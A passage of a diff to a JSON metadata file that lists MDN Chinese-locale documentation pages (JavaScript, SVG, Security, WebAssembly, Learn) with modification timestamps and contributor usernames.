"ziyunfei", - "yenshen" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/sticky": { - "modified": "2020-10-15T21:51:29.415Z", + "Web/SVG/Tutorial/Clipping_and_masking": { + "modified": "2020-05-16T12:44:05.454Z", "contributors": [ - "Ende93", - "Ahhaha233", - "wenmin92" + "Yayure", + "hebby", + "chenronghui", + "zhangyifan", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/test": { - "modified": "2020-11-19T10:20:16.081Z", + "Web/SVG/Tutorial/Fills_and_Strokes": { + "modified": "2019-07-02T00:36:20.256Z", "contributors": [ - "zhuangyin", - "ReedSun", - "symant233", - "ridiculousjam", - "zqyue", - "xgqfrms-GitHub", - "kameii", - "teoli", - "AlexChao" + "0229xiang", + "ZhengYinBo", + "fanxiaojie", + "act262" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/toSource": { - "modified": "2019-07-04T23:42:36.181Z", + "Web/SVG/Tutorial/Filter_effects": { + "modified": "2020-05-16T13:46:25.008Z", "contributors": [ - "teoli", - "ziyunfei" + "Yayure", + "knightyun", + "ZeroJsus", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/toString": { - "modified": "2019-07-04T23:42:41.541Z", + "Web/SVG/Tutorial/Getting_Started": { + "modified": "2020-02-19T07:42:57.768Z", "contributors": [ - "teoli", - "AlexChao" + "Jamie0327", + "qinggge", + "SallyOne", + "maozhenhua2", + "shuihuo", + "SparrowLiu", + "fanxiaojie", + "dolphinX" ] }, - "Web/JavaScript/Reference/Global_Objects/RegExp/unicode": { - "modified": "2019-07-04T23:59:38.859Z", + "Web/SVG/Tutorial/Gradients": { + "modified": "2019-03-23T22:50:18.555Z", "contributors": [ - "wizardforcel" + "fanxiaojie", + "ziyunfei", + "zldream1106" ] }, - "Web/JavaScript/Reference/Global_Objects/Set": { - "modified": "2020-11-10T03:33:00.037Z", + "Web/SVG/Tutorial/Introduction": { + "modified": "2020-06-30T12:46:55.614Z", "contributors": [ - "SphinxKnight", - "Ongve", - "Ende93", - "wallena3", - "woshiqiang1", - "houzp", - "MYWProgram", - "zhuangyin", - "zhangchen", - "Jiang-Xuan", - "buckarooch", - "xgqfrms-GitHub", - "CoCooCo", - "JJPandari", - "tang45", - "xdsnet", - "dingxu", - "tngan", - "ziyunfei", - "fskuok", - "tiansh", + "antimonyGu", + "Jamie0327", + "daGaiGuanYu", + "XHMM", + "ZeroJsus", + "shuihuo", + "ezirmusitua", + "xgqfrms", + "fanxiaojie", + "charlie", "teoli", - "zhangyaochun1987" + "ziyunfei", + "Dx.Yang" ] }, - "Web/JavaScript/Reference/Global_Objects/Set/@@iterator": { - "modified": "2020-10-15T22:31:10.470Z", + "Web/SVG/Tutorial/Other_content_in_SVG": { + "modified": "2020-05-16T13:02:06.652Z", "contributors": [ - "Ende93" + "Yayure", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Set/@@species": { - "modified": "2020-10-15T22:05:00.184Z", + "Web/SVG/Tutorial/Paths": { + "modified": "2020-10-26T07:22:08.293Z", "contributors": [ - "Ende93", - "susan007", - "helloyong" + "WindStormrage", + "esc", + "xgqfrms", + "chenyang", + "hebby", + "mochase", + "xianshenglu", + "vlaw", + "fanxiaojie", + "AnnGing", + "teoli", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Global_Objects/Set/Set": { - "modified": "2020-10-15T22:31:09.443Z", + "Web/SVG/Tutorial/Patterns": { + "modified": "2020-05-04T00:26:06.468Z", "contributors": [ - "Ende93" + "knightyun", + "fanxiaojie", + "zldream1106" ] }, - "Web/JavaScript/Reference/Global_Objects/Set/add": { - "modified": "2020-10-15T21:28:25.102Z", + "Web/SVG/Tutorial/Positions": { + "modified": "2019-06-07T11:18:02.352Z", "contributors": [ - "Mr_kaze", - "zhuangyin", - "fscholz", - "MaZheng", - "Ende93", - "Skyang", - "yenshen", + "ymjrcc", + "fanxiaojie", + "BlackGlory", + "jiraiya", + "teoli", "ziyunfei" ] }, - "Web/JavaScript/Reference/Global_Objects/Set/clear": { - "modified": "2019-03-23T23:13:23.536Z", + "Web/SVG/Tutorial/SVG_Image_Tag": { + "modified": "2019-03-23T22:46:20.960Z", "contributors": [ - "MaZheng", - "Ende93", - "ziyunfei" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Set/delete": { - "modified": "2019-07-08T00:12:51.875Z", + "Web/SVG/Tutorial/SVG_In_HTML_Introduction": { + "modified": "2019-10-30T00:49:48.215Z", "contributors": [ - "adonWong", - "Ende93", - "ziyunfei" + "donley828", + "crazy_rat", + "chrisdavidmills", + "zldream1106", + "lunix01" ] }, - "Web/JavaScript/Reference/Global_Objects/Set/entries": { - "modified": "2019-03-23T22:25:08.761Z", + "Web/SVG/Tutorial/SVG_fonts": { + "modified": "2019-03-23T22:46:23.842Z", "contributors": [ - "Lunaticf", - "timlee1128" + "fanxiaojie" + ] + }, + "Web/SVG/Tutorial/Texts": { + "modified": "2020-07-06T07:25:02.894Z", + "contributors": [ + "zch233", + "fsx950223", + "fanxiaojie", + "FEbyland" ] }, - "Web/JavaScript/Reference/Global_Objects/Set/forEach": { - "modified": "2019-08-05T06:54:27.458Z", + "Web/SVG/Tutorial/Tools_for_SVG": { + "modified": "2019-03-23T22:46:28.488Z", "contributors": [ - "tzmf", - "Jonnypeng", - "SphinxKnight", - "myl0204", - "tommyzqfeng", - "timlee1128", - "201341", - "gaigeshen" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Set/has": { - "modified": "2019-07-08T00:21:03.715Z", + "Web/Security": { + "modified": "2019-09-10T16:49:46.462Z", "contributors": [ - "marsgt", - "MaZheng", "SphinxKnight", - "Nonlone" + "cooldrivez", + "zhangppbb", + "RainSlide", + "msforest", + "Vivi-wu", + "ziyunfei", + "Breezewish", + "Freeopen" ] }, - "Web/JavaScript/Reference/Global_Objects/Set/size": { - "modified": "2020-10-15T21:41:25.836Z", + "Web/Security/Same-origin_policy": { + "modified": "2020-04-07T00:07:57.795Z", "contributors": [ - "zhangchen", - "SphinxKnight", - "springuper", - "OmniP" + "H3lloTom", + "dingziqi", + "769344359", + "AOYE", + "LvChengbin", + "Jerry4013", + "Syclover-u2400", + "iceytea", + "moyamoyarua", + "LeezQ", + "Akiq2016", + "zhuangyin", + "heekei", + "sqchenxiyuan", + "firedent", + "orangle", + "xgqfrms-GitHub", + "Ende93", + "Jim_Chen", + "lyhper", + "linzhixiong", + "J22Melody", + "codinglion", + "ziyunfei", + "Taro", + "mr3", + "teoli", + "monjer", + "kusamba", + "Ghostheaven" ] }, - "Web/JavaScript/Reference/Global_Objects/Set/values": { - "modified": "2020-10-15T21:48:24.054Z", + "Web/Security/Secure_Contexts": { + "modified": "2020-09-16T05:44:30.532Z", "contributors": [ - "Mr_kaze", - "qiudongwei", - "marsgt", - "holynewbie" + "gjc9620" ] }, - "Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer": { - "modified": "2020-10-15T21:52:10.163Z", + "Web/Security/Securing_your_site": { + "modified": "2019-05-30T06:18:16.799Z", "contributors": [ - "wallena3", - "szengtal", - "RoXoM", - "AnnAngela", + "Qos", + "Roscoe93", + "keep2zero", "xgqfrms-GitHub", - "winjeysong" + "hashedhyphen" ] }, - "Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/byteLength": { - "modified": "2020-10-15T21:58:35.573Z", + "Web/Security/Securing_your_site/Turning_off_form_autocompletion": { + "modified": "2020-06-26T14:51:08.712Z", "contributors": [ - "wallena3", + "Clarkkkk", + "zhangchen", + "nick-ChenZe", + "tsejx", + "1010Tech", "xgqfrms-GitHub" ] }, - "Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/prototype": { - "modified": "2020-10-15T21:58:38.272Z", + "Web/Tutorials": { + "modified": "2020-09-27T10:44:48.931Z", "contributors": [ - "wallena3", - "xgqfrms-GitHub" + "GKilyar", + "StorytellerF", + "yzweb2018", + "shengoo", + "yangzi", + "wumouse", + "185-5162-9169", + "Ende93", + "SamuraiMe", + "cehnjing", + "shengyouxiao", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/slice": { - "modified": "2020-10-15T21:58:38.787Z", + "Web/WebDriver": { + "modified": "2020-10-15T22:20:19.059Z", "contributors": [ - "wallena3", - "xgqfrms-GitHub" + "lvbaiying", + "ZQ-jhon" ] }, - "Web/JavaScript/Reference/Global_Objects/String": { - "modified": "2020-05-13T00:15:31.329Z", + "Web/Web_Components": { + "modified": "2020-05-14T03:39:38.306Z", "contributors": [ - "canyi1942", - "RainSlide", - "Ejgwg0629", - "transping", - "zhangsenhua", - "frankfang1990", - "huangbom", + "lc15011977647", + "RequireSun", + "ujsxn", + "zjffun", + "YellowPure", + "FlyingPig", + "FarmerZhou", + "siwei_null", + "zilong-thu", + "jscgq", + "EliYao", + "zhangchen", "xgqfrms-GitHub", - "ezirmusitua", - "sevenqi", - "ouzz413", - "MrBeike", - "msmailcode", - "git123hub", - "Soy", - "webpansy", - "liurenxingyu", - "lunix01", - "FredWe", - "teoli", - "ziyunfei" + "little-tomorrow", + "chaosdog", + "xiaokk06", + "jchnxu", + "Fantasy_shao" ] }, - "Web/JavaScript/Reference/Global_Objects/String/@@iterator": { - "modified": "2019-10-14T06:47:30.493Z", + "Web/Web_Components/Using_custom_elements": { + "modified": "2020-08-13T09:13:52.060Z", "contributors": [ - "SageX", - "Dewey." + "justaverygoodboy", + "ytxmobile", + "LemonTency", + "Xiaoming666", + "bei6", + "YellowPure", + "rianma", + "fu1252", + "olivewind", + "zhang-quan-yi" ] }, - "Web/JavaScript/Reference/Global_Objects/String/Trim": { - "modified": "2020-10-15T21:07:55.641Z", + "Web/Web_Components/Using_shadow_DOM": { + "modified": "2020-06-08T05:35:09.239Z", "contributors": [ - "brizer", + "Junezm", "RainSlide", - "SageX", - "xgqfrms-GitHub", - "Ende93", - "helloguangxue", - "teoli", - "ziyunfei" + "Louis-7", + "haoliangwu", + "zhang-quan-yi" ] }, - "Web/JavaScript/Reference/Global_Objects/String/TrimLeft": { - "modified": "2020-10-15T21:07:56.369Z", + "Web/Web_Components/Using_templates_and_slots": { + "modified": "2020-11-09T10:43:35.619Z", "contributors": [ - "RainSlide", - "SageX", - "zhangchen", - "xgqfrms-GitHub", - "teoli", - "ziyunfei" + "luzhenqian", + "jingkaimori", + "Yayure", + "whuhyw", + "sjpeter", + "Czzzx", + "JasonKee", + "xgqfrms", + "xrr2016", + "zxk7516" ] }, - "Web/JavaScript/Reference/Global_Objects/String/TrimRight": { - "modified": "2020-10-15T21:07:55.509Z", + "Web/XML": { + "modified": "2019-09-25T00:01:50.050Z", "contributors": [ - "SageX", - "zhangchen", - "teoli", - "Ende93", - "xgqfrms-GitHub", - "ziyunfei" + "amalia77", + "ExE-Boss" ] }, - "Web/JavaScript/Reference/Global_Objects/String/anchor": { - "modified": "2019-10-13T02:57:05.433Z", + "Web/XML/XML_Introduction": { + "modified": "2020-03-04T03:08:47.854Z", "contributors": [ - "SageX", - "xgl", - "wwzText", - "Noly1990", - "teoli", - "AlexChao" + "Whitetea00", + "Joria0414", + "fish-inu", + "ExE-Boss", + "DarrenZhang01", + "pluwen", + "xgqfrms-GitHub", + "Y001", + "Mgjbot", + "Gelihui", + "Kakurady", + "Dbseti" ] }, - "Web/JavaScript/Reference/Global_Objects/String/big": { - "modified": "2019-08-30T00:30:39.502Z", + "Web/XPath": { + "modified": "2019-03-18T20:43:12.282Z", "contributors": [ - "wizardforcel", - "Valora", - "JokerPrince" + "RainSlide", + "Ke.shidong", + "ziyunfei", + "cattail2012@gmail.com" ] }, - "Web/JavaScript/Reference/Global_Objects/String/blink": { - "modified": "2019-08-30T00:33:08.296Z", + "Web/XPath/Axes": { + "modified": "2019-03-18T20:43:12.087Z", "contributors": [ - "wizardforcel", - "JokerPrince" + "ziyunfei", + "Cuimingda" ] }, - "Web/JavaScript/Reference/Global_Objects/String/bold": { - "modified": "2019-08-30T00:38:46.883Z", + "Web/XSLT": { + "modified": "2019-03-23T23:52:51.686Z", "contributors": [ - "Ende93", - "Agp12010" + "Gingercat", + "ziyunfei", + "Freeopen", + "Lycvip" ] }, - "Web/JavaScript/Reference/Global_Objects/String/charAt": { - "modified": "2019-08-30T00:20:40.323Z", + "Web/XSLT/Transforming_XML_with_XSLT": { + "modified": "2019-03-23T23:52:45.330Z", "contributors": [ - "Noly1990", - "xgqfrms-GitHub", - "Hugh", - "MarianZhang", - "teoli", - "AlexChao" + "chrisdavidmills", + "ziyunfei", + "Freeopen" ] }, - "Web/JavaScript/Reference/Global_Objects/String/charCodeAt": { - "modified": "2020-10-15T21:28:56.069Z", + "WebAssembly": { + "modified": "2020-10-15T21:52:52.867Z", "contributors": [ - "laampui", - "ChenNing02", - "RainSlide", - "lordisback", - "JuFoFu", - "KMKNKK", - "wizardforcel", + "callmeDAY", + "zhangchen", + "ldwformat", + "zhuangyin", + "kingysu", "xgqfrms-GitHub", - "baishusama", - "VmanXu", - "NotFinally", - "MarianZhang", - "Bigbigbig", - "greatbug", - "BeHappyF", - "LittleJake", - "Meteormatt", - "sweetliu", - "teoli", - "AlexChao" + "disoul" ] }, - "Web/JavaScript/Reference/Global_Objects/String/codePointAt": { - "modified": "2019-03-18T20:48:31.110Z", + "WebAssembly/C_to_wasm": { + "modified": "2020-11-17T22:59:58.305Z", "contributors": [ - "transping", - "xdsnet", - "anchengjian" + "CGerAJ", + "zhanyuzhang", + "xinghuolei", + "rui-space", + "jinliming2", + "johncido", + "eeve", + "kingysu", + "hungtcs", + "AdrianDuan", + "disoul" ] }, - "Web/JavaScript/Reference/Global_Objects/String/concat": { - "modified": "2020-10-15T21:07:52.015Z", + "WebAssembly/Caching_modules": { + "modified": "2019-03-25T04:00:16.303Z", "contributors": [ - "laampui", - "Skyang", - "yenshen", - "teoli", - "AlexChao", - "ziyunfei" + "Seasonley", + "rui-space", + "kingysu" ] }, - "Web/JavaScript/Reference/Global_Objects/String/endsWith": { - "modified": "2020-10-15T21:21:07.320Z", + "WebAssembly/Concepts": { + "modified": "2019-03-18T20:54:48.847Z", "contributors": [ - "laampui", - "RainSlide", - "Veneno", - "LasyIsLazy", - "hongxu.Wei", - "terasum", - "SphinxKnight", - "percy507", - "teoli", - "ziyunfei" + "xiongcong", + "rui-space", + "ziyunfei", + "kingysu" ] }, - "Web/JavaScript/Reference/Global_Objects/String/fixed": { - "modified": "2019-03-23T22:39:09.482Z", + "WebAssembly/Exported_functions": { + "modified": "2019-07-23T04:14:30.673Z", "contributors": [ - "Ende93", - "chengxc" + "imechZhangLY", + "rui-space", + "kingysu" ] }, - "Web/JavaScript/Reference/Global_Objects/String/fontcolor": { - "modified": "2019-03-23T22:20:59.919Z", + "WebAssembly/Loading_and_running": { + "modified": "2019-03-18T20:54:50.799Z", "contributors": [ - "Jiang-Xuan", - "jieouba" + "kingysu", + "xgqfrms-GitHub" ] }, - "Web/JavaScript/Reference/Global_Objects/String/fontsize": { - "modified": "2019-03-23T22:22:45.888Z", + "WebAssembly/Rust_to_wasm": { + "modified": "2020-11-12T06:21:14.353Z", "contributors": [ - "JokerPrince" + "longfangsong", + "linghucq1", + "yanchongwen101", + "Syaki", + "SphinxKnight", + "SToneX", + "wymm0008" ] }, - "Web/JavaScript/Reference/Global_Objects/String/fromCharCode": { - "modified": "2020-10-15T21:28:54.977Z", + "WebAssembly/Text_format_to_wasm": { + "modified": "2020-01-27T02:12:13.951Z", "contributors": [ - "叶扬", - "laampui", - "weiqinl", - "Jiang-Xuan", + "coderzh", + "acelan86", "xgqfrms-GitHub", - "AlexChao" + "kingysu" ] }, - "Web/JavaScript/Reference/Global_Objects/String/fromCodePoint": { - "modified": "2020-10-15T21:44:06.995Z", + "WebAssembly/Understanding_the_text_format": { + "modified": "2019-03-23T22:12:45.612Z", "contributors": [ - "RainSlide", - "varcat", - "transping", - "xiayefeng", - "Hushabyme", - "Cattla", - "lastjune" + "yangdonglai", + "rui-space", + "aaron_li", + "Rexli", + "rockfire", + "acelan86", + "kingysu", + "chyingp", + "itminus" ] }, - "Web/JavaScript/Reference/Global_Objects/String/includes": { - "modified": "2020-10-15T21:20:32.653Z", + "WebAssembly/Using_the_JavaScript_API": { + "modified": "2020-08-18T06:38:27.755Z", "contributors": [ - "laampui", - "1v9", - "hongxu.Wei", + "jealyn", + "xgqfrms", + "coderzh", + "billkang", + "huangjj27", + "kingysu", + "skyfore", + "xgqfrms-GitHub" + ] + }, + "learn": { + "modified": "2020-07-16T22:43:49.854Z", + "contributors": [ + "Roy-Tian", + "SirnoChan", + "mrg123", + "wangfangping", + "chentao106", + "916106840510", + "wushengde", + "MingdaHIT", + "JiaHua", + "Aslemonssss", + "SurfingFish", + "svarlamov", + "RanceLotusLee", + "miye", + "xmcgcg", + "codeofjackie", + "xixilog", + "Forbidden", + "Bearies", + "varcat", + "2526chen", + "zs808", + "gao5252", + "xcffl", + "sefer", "xgqfrms-GitHub", - "Zertu", - "JokerPrince", - "zilong-thu", + "fan19900404", + "WavinFlag", + "Simcookies", + "m4jing", + "liminjun", + "sunxiang", + "Ende93", + "Meteormatt", + "lunix01", + "27", + "chenhui7373", "teoli", "ziyunfei" ] }, - "Web/JavaScript/Reference/Global_Objects/String/indexOf": { - "modified": "2020-10-15T21:28:57.881Z", + "learn/Accessibility": { + "modified": "2020-07-16T22:40:01.477Z", + "contributors": [ + "shinexyt", + "pixang", + "yatarphae", + "guaner", + "chenghaihua" + ] + }, + "learn/Accessibility/Accessibility_troubleshooting": { + "modified": "2020-07-16T22:40:37.212Z", + "contributors": [ + "wsj0124", + "kuldahar", + "zeng-zhi-yong" + ] + }, + "learn/Accessibility/Mobile": { + "modified": "2020-07-16T22:40:33.086Z", + "contributors": [ + "yuyx91", + "shenshaohui1991" + ] + }, + "learn/Accessibility/WAI-ARIA_basics": { + "modified": "2020-07-16T22:40:24.388Z", "contributors": [ - "sunchengpeng", - "LaiTaoGDUT", - "inlym", - "Heaan", - "kingsley2036", - "RainSlide", - "a-x", - "xgqfrms-GitHub", - "Ende93", - "AlexChao" + "grape", + "Madao-3", + "DavidDavidx" ] }, - "Web/JavaScript/Reference/Global_Objects/String/italics": { - "modified": "2019-03-23T22:39:41.518Z", + "learn/Front-end_web_developer": { + "modified": "2020-07-16T22:40:48.018Z", "contributors": [ - "ssruoyan" + "Ende93", + "ex90rts" ] }, - "Web/JavaScript/Reference/Global_Objects/String/lastIndexOf": { - "modified": "2019-10-13T05:19:10.386Z", + "learn/HTML": { + "modified": "2020-07-16T22:22:25.734Z", "contributors": [ - "SageX", - "ts0307", - "Heaan", - "GavinMoreYoung", - "yenshen", - "AlexChao" + "anguiao", + "xmcgcg", + "codeofjackie", + "myfreeer", + "xp44mm", + "xgqfrms-GitHub", + "BigLiao", + "leenlyCFFC", + "Mac_zhang", + "aimiy", + "chenxingyu350128", + "Yongest", + "funnyChinese", + "pkjy", + "sunxiang", + "Metalooze" ] }, - "Web/JavaScript/Reference/Global_Objects/String/length": { - "modified": "2019-03-18T20:48:34.436Z", + "learn/HTML/Howto": { + "modified": "2020-07-16T22:22:31.131Z", "contributors": [ - "yenshen", - "teoli", - "AlexChao", - "ziyunfei" + "xmcgcg", + "coderfee", + "WooHooDai", + "sallyllas", + "sour-toilet-seat", + "webber007", + "pengtikui", + "skylakecore", + "qixi" ] }, - "Web/JavaScript/Reference/Global_Objects/String/link": { - "modified": "2020-10-15T21:28:55.868Z", + "learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image": { + "modified": "2020-07-16T22:22:43.732Z", "contributors": [ - "RainSlide", - "teoli", - "AlexChao" + "hebby" ] }, - "Web/JavaScript/Reference/Global_Objects/String/localeCompare": { - "modified": "2020-10-15T21:40:52.842Z", + "learn/HTML/Introduction_to_HTML": { + "modified": "2020-07-16T22:22:54.800Z", "contributors": [ - "weibangtuo", - "xuqighub", - "Ninja-Xu", - "Lookkkk", - "lcysgsg", - "xgqfrms-GitHub", - "zilong-thu", - "Yuxuan_Jiang", - "helloguangxue", - "Ende93" + "zixuan945", + "mkckr0", + "Sphish", + "xmcgcg", + "imba-tjd", + "HolaForce", + "codeofjackie", + "zihengCat", + "lihaoyuan", + "chenos", + "Melvin.", + "xixilog", + "SeanZHU", + "funnyChinese", + "ZhiRui" ] }, - "Web/JavaScript/Reference/Global_Objects/String/match": { - "modified": "2020-11-19T10:33:22.045Z", + "learn/HTML/Introduction_to_HTML/Advanced_text_formatting": { + "modified": "2020-10-29T09:47:28.341Z", "contributors": [ - "zhuangyin", - "GGliushi", - "zhangming8691", - "SageX", - "meng-Macbook", - "Nick_Arron", - "YISHI", - "Freed", - "xgqfrms-GitHub", - "kameii", - "AlexChao" + "kuailekai", + "Chell", + "Roy-Tian", + "MorrisLi", + "CesarChang", + "kenneth55555", + "cetewhale", + "xq20160912", + "monkey-king", + "imba-tjd", + "kaka4NERV", + "HolaForce", + "codeofjackie", + "jwhitlock", + "anlien", + "eelord", + "lihaoyuan", + "superkuang", + "zhaoqize", + "023Sparrow", + "yydzxz", + "dirringx", + "HashubWang", + "xiaofei86", + "luwudang", + "weikunzz" ] }, - "Web/JavaScript/Reference/Global_Objects/String/matchAll": { - "modified": "2020-10-15T22:16:17.159Z", + "learn/HTML/Introduction_to_HTML/Debugging_HTML": { + "modified": "2020-09-22T12:30:11.535Z", "contributors": [ - "oxyg3n", - "symant233", - "Tangel", - "zytjs", - "BadmasterY", - "SageX", - "Marcia_gm" + "Roy-Tian", + "aaazz47", + "Yang_Hanlin", + "huaouo", + "HolaForce", + "lihaoyuan", + "zhaoqize", + "littledust", + "Zeng", + "huixiaomu" ] }, - "Web/JavaScript/Reference/Global_Objects/String/normalize": { - "modified": "2020-10-15T21:26:59.570Z", + "learn/HTML/Introduction_to_HTML/Getting_started": { + "modified": "2020-07-16T22:23:09.709Z", "contributors": [ - "RainSlide", - "SageX", - "xgl", - "SphinxKnight", - "teoli", - "ziyunfei" + "lucida959595", + "Roy-Tian", + "dlnb526", + "LINYI", + "Sphish", + "h4091", + "WoodCube", + "eagle1949", + "imba-tjd", + "gadflysu", + "WimZhai", + "jwhitlock", + "HolaForce", + "byeyear", + "Planet6174", + "codeofjackie", + "pachinko", + "Willian.G", + "alonelyer", + "xp44mm", + "shinexyt", + "zhaoqize", + "Jeffrey_Yang", + "lyxy", + "SilverLeaves", + "skylakecore", + "jiahaifeng", + "workttt", + "HashubWang", + "b2ns", + "songbinghui", + "mhengrui", + "PhilipDing", + "RevolverOcelotA", + "hawm", + "3359260180", + "goingon", + "MinimalistYing", + "funnyChinese" ] }, - "Web/JavaScript/Reference/Global_Objects/String/padEnd": { - "modified": "2020-10-15T21:44:49.353Z", + "learn/HTML/Introduction_to_HTML/HTML_text_fundamentals": { + "modified": "2020-11-16T00:17:59.659Z", "contributors": [ - "zhuangyin", - "calabash519", - "Iwouldliketobeapig", - "comehope", - "ziyunfei" + "sinochen123", + "Roy-Tian", + "aaazz47", + "ZeroAurora", + "youngquan", + "MorrisLi", + "SirnoChan", + "Sphish", + "liangmuyang", + "tryhard", + "sf-think", + "baijingfeng", + "WindLo", + "HolaForce", + "web-xx", + "CaTmmao", + "shiyubo", + "zhaoqize", + "fengkx", + "HashubWang", + "skylakecore", + "876843240", + "DZW314", + "danlanxiaohei", + "c0ldian", + "funnyChinese" ] }, - "Web/JavaScript/Reference/Global_Objects/String/padStart": { - "modified": "2020-10-15T21:44:45.823Z", + "learn/HTML/Introduction_to_HTML/Marking_up_a_letter": { + "modified": "2020-07-16T22:23:14.761Z", "contributors": [ - "zhuangyin", - "FredYing", - "dblate", - "Iwouldliketobeapig", - "kdex", - "xgqfrms-GitHub", - "Jiang-Xuan", - "comehope", - "tjyas", - "ziyunfei" + "Roy-Tian", + "ToJunYu", + "ZhiiChong", + "chrisdavidmills", + "SirnoChan", + "FantasqueX", + "imba-tjd", + "ChairMao", + "kongkong1", + "HolaForce", + "Lohoyo", + "phiwyc", + "lihaoyuan", + "zhaoqize", + "gitpyc", + "Boot95" ] }, - "Web/JavaScript/Reference/Global_Objects/String/prototype": { - "modified": "2020-10-15T21:27:29.084Z", + "learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content": { + "modified": "2020-07-16T22:24:21.297Z", "contributors": [ - "gqbre", - "pabloyshi", - "zhazhjie", - "zqyue", - "Ende93", - "midare", - "Yuxuan_Jiang", - "micheal-death", - "xgqfrms-GitHub", - "Hugh", - "terrycafe520", - "qianjiahao", - "paddingme", - "teoli", - "ziyunfei" + "Roy-Tian", + "MorrisLi", + "HolaForce", + "codeofjackie", + "lihaoyuan", + "zhaoqize", + "littledust", + "ChenLyu01" ] }, - "Web/JavaScript/Reference/Global_Objects/String/raw": { - "modified": "2020-10-15T21:29:34.006Z", + "learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML": { + "modified": "2020-12-06T06:59:19.723Z", "contributors": [ - "SageX", - "Jamsdfn", - "HDUCC", - "OhIAmFine", - "RainSlide", - "RoXoM", - "SphinxKnight", - "joy-yu", - "ShupingLiu", - "teoli", - "ziyunfei" + "zrzjohn", + "wayne_lau", + "Roy-Tian", + "Sphish", + "PYGC", + "WoodCube", + "fangfangfanga", + "eagle1949", + "Metaloe", + "HolaForce", + "qinruiy", + "codeofjackie", + "CaTmmao", + "yevivid", + "Willian.G", + "Milktea", + "anan0v0", + "zhaoqize", + "fengkx", + "oldpotter", + "littledust", + "hjb912", + "tianhu288", + "Mac_zhang", + "BarryLiu1995", + "HashubWang", + "littermark", + "igigi", + "876843240", + "mhengrui", + "Daryl.L", + "chinazhaghai", + "sisyphus-zhou" ] }, - "Web/JavaScript/Reference/Global_Objects/String/repeat": { - "modified": "2020-10-15T21:23:38.769Z", + "learn/JavaScript": { + "modified": "2020-07-16T22:29:46.300Z", "contributors": [ - "laampui", + "oceanMIH", + "yummy_song", + "scyhm", + "YehaiChen", + "WavinFlag", "xgqfrms-GitHub", - "git123hub", - "Ende93", - "OmniP", - "teoli", - "tiansh", - "ziyunfei", - "zhangyaochun1987" + "noiron", + "houcheng", + "Maze", + "Metalooze" ] }, - "Web/JavaScript/Reference/Global_Objects/String/replace": { - "modified": "2020-11-27T21:45:38.567Z", + "learn/JavaScript/Building_blocks": { + "modified": "2020-07-16T22:31:11.083Z", "contributors": [ - "lastVigo", - "ZouYj", - "zhangming8691", - "RainSlide", - "SageX", - "zhengwengang", - "bigbird231", - "lwjcjmx123", - "glntlq", - "Ende93", - "qiubo1992", - "dingziqi", - "xgqfrms-GitHub", - "Leeoric", - "benymor", - "imwangpan", - "Zegendary", - "billcz", - "snowsolf", - "S-iscoming", - "lunix01", - "FredWe", - "MoltBoy", - "xinshangshangxin", - "paddingme", - "fannie-z", - "teoli", - "AlexChao", - "robert.yin", - "ziyunfei" + "Drizzt-Yu", + "NiceGG", + "JiLiangLai", + "xiaobin123", + "xp44mm", + "yzweb2018", + "sonymoon", + "nlln", + "ztytotoro", + "okotta1", + "backli", + "lvyue", + "ByWhy", + "Marslin92", + "chinatomhuang", + "GKilyar", + "iProgramme" ] }, - "Web/JavaScript/Reference/Global_Objects/String/replaceAll": { - "modified": "2020-10-15T22:30:27.485Z", + "learn/JavaScript/Building_blocks/Build_your_own_function": { + "modified": "2020-08-01T05:11:26.919Z", "contributors": [ - "Damoness", - "laampui", - "xgqfrms" + "driftingdream", + "Hermedius", + "WindLo", + "qiubite-name", + "codeofjackie", + "Undecyce", + "hygSup", + "gitpyc", + "Ray-Eldath", + "Hecdi", + "ppphp" ] }, - "Web/JavaScript/Reference/Global_Objects/String/search": { - "modified": "2020-10-15T21:29:01.821Z", + "learn/JavaScript/Building_blocks/Functions": { + "modified": "2020-08-27T11:13:47.934Z", "contributors": [ - "laampui", - "Fleeting198", - "RainSlide", - "xgqfrms-GitHub", - "rockedpanda", - "AlexChao", - "teoli" + "shawn20111416", + "driftingdream", + "jsl1079322620", + "Hermedius", + "jinsth", + "hyjalxl", + "agnoCJY", + "BusyToDie", + "LuoYun", + "codeofjackie", + "zhilu1", + "caifx", + "luoxzhg", + "NicholasCao", + "Pipapa", + "GKilyar", + "caojinguo", + "fyzzy1943", + "minmino" ] }, - "Web/JavaScript/Reference/Global_Objects/String/slice": { - "modified": "2020-10-15T21:04:29.173Z", + "learn/JavaScript/Building_blocks/Looping_code": { + "modified": "2020-07-16T22:31:22.467Z", "contributors": [ - "RainSlide", - "Jemory", - "MinimalistYing", - "zhangchen", - "xgqfrms-GitHub", - "towerzju", - "Meteormatt", - "helloguangxue", - "FredWe", - "teoli", - "AlexChao", - "ziyunfei" + "agnoCJY", + "Yayure", + "jianbinfu", + "LittleMang", + "LuoYun", + "lscnet", + "codeofjackie", + "WhiteYin", + "tuneura", + "DaduCC", + "Ray-Eldath", + "NicholasCao", + "Ende93", + "wanqing19954", + "Marslin92" ] }, - "Web/JavaScript/Reference/Global_Objects/String/small": { - "modified": "2019-03-23T22:22:44.927Z", + "learn/JavaScript/Building_blocks/Return_values": { + "modified": "2020-11-24T04:05:07.114Z", "contributors": [ - "wizardforcel", - "JokerPrince" + "Anser0111", + "jsl1079322620", + "Hermedius", + "FantasqueX", + "LuoYun", + "larrychen", + "Gloriazdh", + "codeofjackie", + "DaduCC", + "BadRonmance", + "yj21world", + "minmino" ] }, - "Web/JavaScript/Reference/Global_Objects/String/split": { - "modified": "2020-10-15T21:28:59.434Z", + "learn/JavaScript/Building_blocks/conditionals": { + "modified": "2020-07-16T22:31:16.388Z", "contributors": [ - "real-Row", - "SageX", - "WindLo", - "gentlecoder", - "42", - "hongxu.Wei", - "laampui", - "Jiang-Xuan", - "YISHI", - 